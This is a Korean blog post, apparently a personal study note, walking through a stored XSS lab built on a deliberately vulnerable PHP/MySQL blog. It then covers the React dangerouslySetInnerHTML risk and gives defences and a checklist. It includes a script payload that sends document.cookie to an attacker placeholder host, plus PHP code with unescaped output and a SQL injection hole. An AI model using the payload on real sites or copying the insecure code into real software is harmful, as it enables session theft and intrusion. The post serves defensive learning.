본문 바로가기
모의해킹/XSS

Stored XSS 실습과 React 보안 대응 전략: 실습부터 React 보안 코드 점검까지

by drinkdog 2025. 7. 2.
반응형
React로 구성된 웹 시스템에서 "Stored XSS" 취약점이 발생한다면 어떻게 대응해야 할까?

이 글은 내가 직접 실습하고 분석한 내용을 정리한 실전 보안 노트다.
간단한 이론과 실습을 바탕으로 공부한 내용이다.

⚠️ Stored XSS란?

  • Stored XSS(저장형 크로스사이트스크립팅)는 공격자가 악성 JavaScript 코드를 서버에 저장하고 일반 사용자가 해당 콘텐츠를 열람할 때 브라우저가 그 코드를 실행하는 취약점이다.

🛠️ 실습 환경 구성

  • AWS EC2: Ubuntu 20.04
  • Apache + PHP + MySQL로 구성한 단순 블로그 시스템
  • Kali Linux: 공격자 서버 역할 (python3 웹 서버 사용)

💻 실습 코드 구성

📄 index.php

<?php
$conn = new mysqli("localhost", "root", "", "blog");
$result = $conn->query("SELECT * FROM posts ORDER BY id DESC");
while ($row = $result->fetch_assoc()) {
    echo "<h2>" . $row['title'] . "</h2>";
    echo "<p>" . $row['content'] . "</p><hr>";
}
?>
<a href="new.php">글 작성하기</a>

📄 new.php

<form action="save.php" method="post">
    제목: <input type="text" name="title"><br>
    내용:<br>
    <textarea name="content" rows="5" cols="40"></textarea><br>
    <input type="submit" value="저장">
</form>

📄 save.php

<?php
$conn = new mysqli("localhost", "root", "", "blog");
$title = $_POST['title'];
$content = $_POST['content'];
$sql = "INSERT INTO posts (title, content) VALUES ('$title', '$content')";
$conn->query($sql);
header("Location: index.php");
?>

🗃️ SQL 테이블 생성

CREATE DATABASE blog;
USE blog;
CREATE TABLE posts (
  id INT AUTO_INCREMENT PRIMARY KEY,
  title TEXT,
  content TEXT
);

🧪 악성 입력 예시

<script>new Image().src='http://<kali-ip>:8000/steal?c='+document.cookie</script>

🔍 실습 과정 요약

1. new.php 페이지에서 위 악성 스크립트를 삽입

2. save.php를 통해 DB에 저장됨

3. index.php에서 렌더링 시 사용자 브라우저에서 스크립트 실행됨

4. Kali 서버에서 탈취된 쿠키 로그 확인 가능


⚛️ React에서도 발생 가능한가?

<pre dangerouslySetInnerHTML={{ __html: paragraphBody }} />
  • dangerouslySetInnerHTML는 React의 자동 escape 보호를 우회하고 HTML을 직접 삽입함
  • 사용자 입력에 <script><img onerror=...>가 포함되면 → 실행됨 → XSS 발생 가능

🛡️ 방어 방법 정리

  • 사용자 입력은 반드시 escape 처리 (htmlspecialchars, DOMPurify 등)
  • CSP 적용:
Content-Security-Policy: script-src 'self'
  • 세션 쿠키는 HttpOnly, Secure, SameSite 속성으로 보호

📋 React 보안 체크리스트 (XSS 중심)

항목 확인
dangerouslySetInnerHTML 사용 여부
eval(), Function(), setTimeout("...") 등 동적 실행 코드 존재
사용자 입력을 직접 href, src, style 등에 바인딩
CSP 헤더 설정 유무
세션 쿠키에 HttpOnly, Secure, SameSite 설정 여부

 

반응형